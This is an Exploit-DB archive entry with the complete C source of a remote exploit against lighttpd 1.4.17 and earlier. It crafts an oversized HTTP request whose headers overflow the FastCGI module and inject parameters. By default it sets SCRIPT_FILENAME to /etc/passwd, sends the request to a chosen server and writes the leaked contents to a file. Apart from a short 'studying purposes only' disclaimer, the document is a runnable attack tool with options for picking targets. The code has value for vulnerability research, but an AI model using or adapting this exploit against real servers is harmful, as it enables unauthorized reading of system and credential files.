Lighttpd 1.4.17 - FastCGI Header Overflow Arbitrary Code Execution

EDB-ID:

4437

CVE:

N/A

Author:

Andi

Type:

remote

Platform:

Linux

Published:

2007-09-20

/***********************************************************
 * hoagie_lighttpd.c
 * LIGHTTPD/FASTCGI REMOTE EXPLOIT (<= 1.4.17)
 *
 * Bug discovered by:
 * Mattias Bengtsson <mattias@secweb.se>
 * Philip Olausson <po@secweb.se>
 * http://www.secweb.se/en/advisories/lighttpd-fastcgi-remote-vulnerability/
 *
 * FastCGI:
 * http://www.fastcgi.com/devkit/doc/fcgi-spec.html
 *
 * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
 * CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY
 * DAMAGE DONE USING THIS PROGRAM.
 *
 * VOID.AT Security
 * andi@void.at
 * http://www.void.at
 *
 ************************************************************/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

/* don't change this values except you know exactly what you are doing */
#define REQUEST_SIZE_BASE     0x1530a

char FILL_CHAR[] = "void";
char RANDOM_CHAR[] = "01234567890"
                     "abcdefghijklmnopqrstuvwxyz"
                     "ABCDEFGHIJKLMNOPQRSTUVWXYZ";


/* just default values */
#define DEFAULT_SCRIPT        "/index.php"   /* can be changed via -s */
#define DEFAULT_PORT          "80"           /* can be changed via -p */
#define DEFAULT_NAME          "SCRIPT_FILENAME" /* can be changed via -n */
#define DEFAULT_VALUE         "/etc/passwd"  /* can be change via -a */

#define DEFAULT_SEPARATOR     ','

#define BUFFER_SIZE           1024

/* header data type
 * defining header name/value content and length
 * if a fixed value is set use this one instead of generating content
 */
struct header_t {
   int  name_length;
   char name_char;
   int  value_length;
   char value_char;
   char *value_value;
};

/* generate_param
 * generate character array (input: comma separated list)
 */
char *generate_param(int *param_size_out,
                     char **name,
                     char **value) {
   char *param = NULL;
   int  param_size = 0;
   int  param_offset = 0;
   int  i;
   int  name_length = 0;
   int  value_length = 0;

   for (i = 0; name[i] != NULL && value[i] != NULL; i++) {
      name_length = strlen(name[i]);
      value_length = strlen(value[i]);
      if (name_length > 127) {
         param_size += 4;
      } else {
         param_size++;
      }
      if (value_length > 127) {
         param_size += 4;
      } else {
         param_size++;
      }
      param_size += strlen(name[i]) + strlen(value[i]);
      param = realloc(param, param_size);
      if (param) {
         if (strlen(name[i]) > 127) {
            param[param_offset++] = (name_length >> 24) | 0x80;
            param[param_offset++] = (name_length >> 16) & 0xff;
            param[param_offset++] = (name_length >> 8) & 0xff;
            param[param_offset++] = name_length & 0xff;
         } else {
            param[param_offset++] = name_length;
         }
         if (strlen(value[i]) > 127) {
            param[param_offset++] = (value_length >> 24) | 0x80;
            param[param_offset++] = (value_length >> 16) & 0xff;
            param[param_offset++] = (value_length >> 8) & 0xff;
            param[param_offset++] = value_length & 0xff;
         } else {
            param[param_offset++] = value_length;
         }
         memcpy(param + param_offset, name[i], name_length);
         param_offset += name_length;
         memcpy(param + param_offset, value[i], value_length);
         param_offset += value_length;
      }
   }

   if (param) {
      *param_size_out = param_size;
   }

   return param;
}

/* generate_buffer
 * generate header name or value buffer
 */
char *generate_buffer(int length, char c, int random_mode) {
   char *buffer = (char*)malloc(length + 1);
   int i;

   if (buffer) {
      memset(buffer, 0, length + 1);
      if (random_mode) {
         for (i = 0; i < length; i++) {
            buffer[i] = RANDOM_CHAR[rand() % (strlen(RANDOM_CHAR))];
         }
      } else {
         memset(buffer, c, length);
      }
   }

   return buffer;
}

/* generate_array
 * generate character array (input: comma separated list)
 */
char **generate_array(char *list, char separator, int *length) {
   char **data = NULL;
   int i = 0;
   int start = 0;
   int j = 1;

   if (list) {
      for (i = 0; i <= strlen(list); i++) {
         if (list[i] == separator ||
             i == strlen(list)) {
            data = realloc(data, (j + 1) * (sizeof(char*)));
            if (data) {
               data[j - 1] = malloc(i - start + 1);
               if (data[j - 1]) {
                  strncpy(data[j - 1], list + start, i - start);
                  data[j - 1][i - start + 1] = 0;
               }
               data[j] = NULL;
            }
            start = i + 1;
            j++;
         }
      }
      *length = j;
   }

   return data;
}

/* generate_request
 * generate http request to trigger the overflow in fastcgi module
 * and overwrite fcgi param data with post content
 */
char *generate_request(char *server, char *port,
                       char *script, char **names,
                       char **values, int *length_out,
                       int random_mode) {
   char *param;
   int  param_size;
   char *request;
   int  offset;
   int  length;
   int  i;
   int  fillup;
   char *name;
   char *value;

   /* array of header data that is used to create header name and value lines 
    * most of this values can be changed -> only length is important and a
    * few characters */
   struct header_t header[] = {
      { 0x01, '0', 0x04, FILL_CHAR[0], NULL },
      { FILL_CHAR[0] - 0x5 - 0x2, 'B', FILL_CHAR[0] - 0x2, 'B', NULL },
      { 0x01, '1', 0x5450 - ( (FILL_CHAR[0] + 0x1) *  2) - 0x1 - 0x5 - 0x1 - 0x4, 'C', NULL },
      { 0x01, '2', '_' - 0x1 - 0x5 - 0x1 - 0x1, 'D',  NULL },
      { 0x01, '3', 0x04, FILL_CHAR[1], NULL },
      { FILL_CHAR[1] - 0x5 - 0x2, 'F', FILL_CHAR[1] - 0x2, 'F', NULL },
      { 0x01, '4', 0x5450 - ( (FILL_CHAR[1] + 0x1) *  2) - 0x1 - 0x5 - 0x1 - 0x4, 'H', NULL },
      { 0x01, '5', '_' - 0x1 - 0x5 - 0x1 - 0x1, 'I',  NULL },
      { 0x01, '6', 0x04, FILL_CHAR[2], NULL },
      { FILL_CHAR[2] - 0x5 - 0x2, 'K', FILL_CHAR[2] - 0x2, 'K',  NULL },
      { 0x01, '7', 0x5450 - ( (FILL_CHAR[2] +  0x1) *  2) - 0x1 - 0x5 - 0x1 - 0x4, 'L', NULL },
      { 0x01, '8', '_' - 0x1 - 0x5 - 0x1 - 0x1, 'M', NULL },
      { 0x01, '9', 0, 0, "uvzz" },
      { FILL_CHAR[3] - 0x5 - 0x2, 'O', FILL_CHAR[3] - 0x2, 'O',  NULL },
      { 0x01, 'z', 0x1cf - ((FILL_CHAR[3]- 0x1 ) * 2) -0x1 - 0x5 - 0x1 - 0x4, 'z',  NULL },
      { 0x00, 0x00, 0x00, 0x00, NULL }
   };

   /* fill rest of post content with data */
   char content_part_one[] = {
      0x06, 0x80, 0x00, 0x00, 0x00, 'H', 'T', 'T', 'P', '_', 'W' 
   };

   /* set a fake FastCGI record to mark the end of data */
   char content_part_two[] = {
      0x01, 0x05, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 
   };

   param = generate_param(&param_size, names, values);
   if (param && param_size > 0) {
      fillup = 0x54af - 0x5f - 0x1e3 - param_size - 0x1 - 0x5 - 0x1 - 0x4;
      length = REQUEST_SIZE_BASE + param_size +
               strlen(server) + strlen(port) +
               strlen(script);
      request = (char*)malloc(length);
      if (request) {
         memset(request, 0, length);
         offset = sprintf(request,
                          "POST %s HTTP/1.1\r\n"
                          "Host: %s:%s\r\n"
                          "Connection: close\r\n"
                          "Content-Length: %d\r\n"
                          "Content-Type: application/x-www-form-urlencoded\r\n",
                          script,
                          server, port,
                          fillup + param_size + sizeof(content_part_one) +
                          sizeof(content_part_two) + 0x5f);
         for (i = 0; header[i].name_length != 0; i++) {
            name = generate_buffer(header[i].name_length,
                                   header[i].name_char,
                                   header[i].name_length != 1 ? random_mode : 0);

            if (header[i].value_value) {
               value = header[i].value_value;
            } else {
               value = generate_buffer(header[i].value_length,
                                       header[i].value_char,
                                       header[i].value_length != 4 &&
                                       header[i].value_char != 'z' ? random_mode : 0);
            }

            offset += sprintf(request + offset,
                              "%s: %s\r\n", name, value);
            if (!header[i].value_value) {
               free(value);
            }
            free(name);
         }

         offset += sprintf(request + offset, "\r\n");

         memcpy(request + offset, param, param_size);
         offset += param_size;
 
         content_part_one[0x03] = (fillup >> 8) & 0xff;
         content_part_one[0x04] = fillup & 0xff;
         for (i = 0; i < sizeof(content_part_one); i++) {
            request[offset++] = content_part_one[i];
         }
         for (i = 0; i < fillup + 0x5f; i++) {
            request[offset++] = random_mode ? RANDOM_CHAR[rand() % (strlen(RANDOM_CHAR))] : 'W';
         }
         for (i = 0; i < sizeof(content_part_two); i++) {
            request[offset++] = content_part_two[i];
         }

         *length_out = offset;
      }
   }

   return request;
}

/* usage
 * display help screen
 */
void usage(int argc, char **argv) {
   fprintf(stderr,
           "usage: %s [-h] [-v] [-r] [-d <host>] [-s <script>] [-p <port>]\n"
           "       [-n <header names>] [-a <header values>] [-o <output>]\n"
           "\n"
           "-h        help\n"
           "-v        verbose\n"
           "-r        enable random mode\n"
           "-d host   HTTP server\n"
           "-p port   HTTP port (default: %s)\n"
           "-s script script url on remote server (default: %s)\n"
           "-n value  header names (comma seperated, default: %s)\n"
           "-a value  header values (comma seperated, default: %s)\n"
           "-o output save result in output file\n"
           "\n"
           ,
           argv[0],
           DEFAULT_PORT,
           DEFAULT_SCRIPT,
           DEFAULT_NAME,
           DEFAULT_VALUE);
   exit(1);           
}

/* connect_to
 * connect to remote http server
 */
int connect_to(char *host, int port) {
   struct sockaddr_in s_in;
   struct hostent *he;
   int s;

   if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
      return -1;
   }

   memset(&s_in, 0, sizeof(s_in));
   s_in.sin_family = AF_INET;
   s_in.sin_port = htons(port);

   if ( (he = gethostbyname(host)) != NULL)
       memcpy(&s_in.sin_addr, he->h_addr, he->h_length);
   else {
       if ( (s_in.sin_addr.s_addr = inet_addr(host) ) < 0) {
          return -3;
       }
   }  

   if (connect(s, (struct sockaddr *)&s_in, sizeof(s_in)) == -1) {
      return -4;
   }

   return s;
}

/* parse_response
 * parse response data from http server
 */
void parse_response(char *response, int response_length, char *output) {
   char *p;
   int http_code;
   int header_mode = 1;
   int size;
   int bytes = 0;
   FILE *fp = stdout;

   p = strtok(response, "\r\n");
   while (p) {
      /* header mode active? */
      if (header_mode) {
         if (strstr(p, "HTTP/1.1 ") == p) {
            sscanf(p, "HTTP/1.1 %d", &http_code);
            if (http_code == 200) {
               printf("[*] request successful\n");
            } else {
               printf("[*] request failed (error code: %d)\n", http_code);
            }
         } else if (strstr(p, "Server: ") == p) {
            printf("[*] server version: %s\n", strstr(p, "Server: ") + 8);
         /* content length for first content */
         } else if (!strchr(p, ':') && http_code == 200) {
            sscanf(p, "%x", &size);
            header_mode = 0;
            if (output) {
               fp = fopen(output, "w");
            }
         }
      } else {
         if (bytes < size) {
            fprintf(fp, "%s\n", p);
            bytes += strlen(p) + 1;
         }
      }
      p = strtok(NULL, "\r\n");
   }
   if (fp != stdout && fp != NULL) {
      printf("[*] %d bytes written to %s\n", bytes, output);
      fclose(fp);
   }
}

/* main entry
 */
int main(int argc, char **argv) {
   char *server = NULL;
   char *port = DEFAULT_PORT;
   char *script = DEFAULT_SCRIPT;
   char **name = NULL;
   int name_length = 0;
   char **value = NULL;
   int value_length = 0;
   char *request = NULL;
   int request_length = 0;
   int i;
   int random_mode = 0;
   int verbose = 0;
   int s;
   char c;
   fd_set fs;
   int bytes;
   char buffer[BUFFER_SIZE];
   char *response = NULL;
   int response_length = 0;
   char *output = NULL;

   fprintf(stderr,
           "hoagie_lighttpd.c - lighttpd(fastcgi) <= 1.4.17 remote\n"
           "-andi / void.at\n\n");

   if (argc < 2) {
      usage(argc, argv);
   } else {
      while ((c = getopt (argc, argv, "hvrd:p:s:u:n:a:o:")) != EOF) {
         switch (c) {
            case 'h':
                 usage(argc, argv);
                 break;
            case 'd':
                 server = optarg;
                 break;
            case 'p':
                 port = optarg;
                 break;
            case 's':
                 script = optarg;
                 break;
            case 'n':
                 name = generate_array(optarg, DEFAULT_SEPARATOR, &name_length);
                 break;
            case 'a':
                 value = generate_array(optarg, DEFAULT_SEPARATOR, &value_length);
                 break;
            case 'r':
                 random_mode = 1;
                 srand(time(NULL));
                 break;
            case 'v':
                 verbose = 1;
                 break;
            case 'o':
                 output = optarg;
                 break;
            default:
                 fprintf(stderr, "[*] unknown command line option '%c'\n", c);
                 exit(-1);
         }
      }

      if (!name) {
         name = generate_array(DEFAULT_NAME, DEFAULT_SEPARATOR, &name_length);
      }

      if (!value) {
         value = generate_array(DEFAULT_VALUE, DEFAULT_SEPARATOR, &value_length);
      }


      if (name_length != value_length) {
         fprintf(stderr,
                 "[*] check -n and -n parameter (argument list doesnt match)\n");
      } else if (!server) {
         fprintf(stderr, "[*] server is missing\n");
      } else {
         if (random_mode) {
            for (i = 0; i < 4; i++) {
               FILL_CHAR[i] = RANDOM_CHAR[rand() % (strlen(RANDOM_CHAR))];
            }
         }
         printf("[*] creating request (filler: %c/%c/%c/%c, random: %s)\n",
                FILL_CHAR[0], FILL_CHAR[1], FILL_CHAR[2], FILL_CHAR[3],
                random_mode ? "on": "off");
         for (i = 0; name[i]; i++) {
            printf("[*] set header [%s]=>[%s]\n", name[i], value[i]);
         }
         request = generate_request(server, port, script, name, value,
                                    &request_length, random_mode);
         if (verbose) {
            printf("[*] sending [");
            write(1, request, request_length);
            printf("]\n");
         } 
         if (request) {
            printf("[*] connecting to %s:%s ...\n", server, port);
            s = connect_to(server, atoi(port));
            if (s > 0) {
               FD_ZERO(&fs);
               FD_SET(s, &fs);
               printf("[*] request url %s\n", script);
               write(s, request, request_length);
               do {
                  select(s + 1, &fs, NULL, NULL, NULL);
                  bytes = read(s, buffer, sizeof(buffer));
                  if (bytes > 0) {
                     response_length += bytes;
                     response = realloc(response, response_length + 1);
                     if (response) {
                        memcpy(response + response_length - bytes,
                               buffer,
                               bytes);
                     }
                  }
               } while (bytes > 0);
               close(s);
               response[response_length] = 0;
               parse_response(response, response_length, output);
            } else {
               fprintf(stderr, "[*] connect failed\n");
            }
            free(request);
         } else {
            fprintf(stderr, "[*] can't allocate memory for request\n");
         }
      }

      for (i = 0; name[i]; i++) {
         free(name[i]);
      }
      free(name);
      for (i = 0; value[i]; i++) {
         free(value[i]);
      }
      free(value);
   }

   return 0;
}

// milw0rm.com [2007-09-20]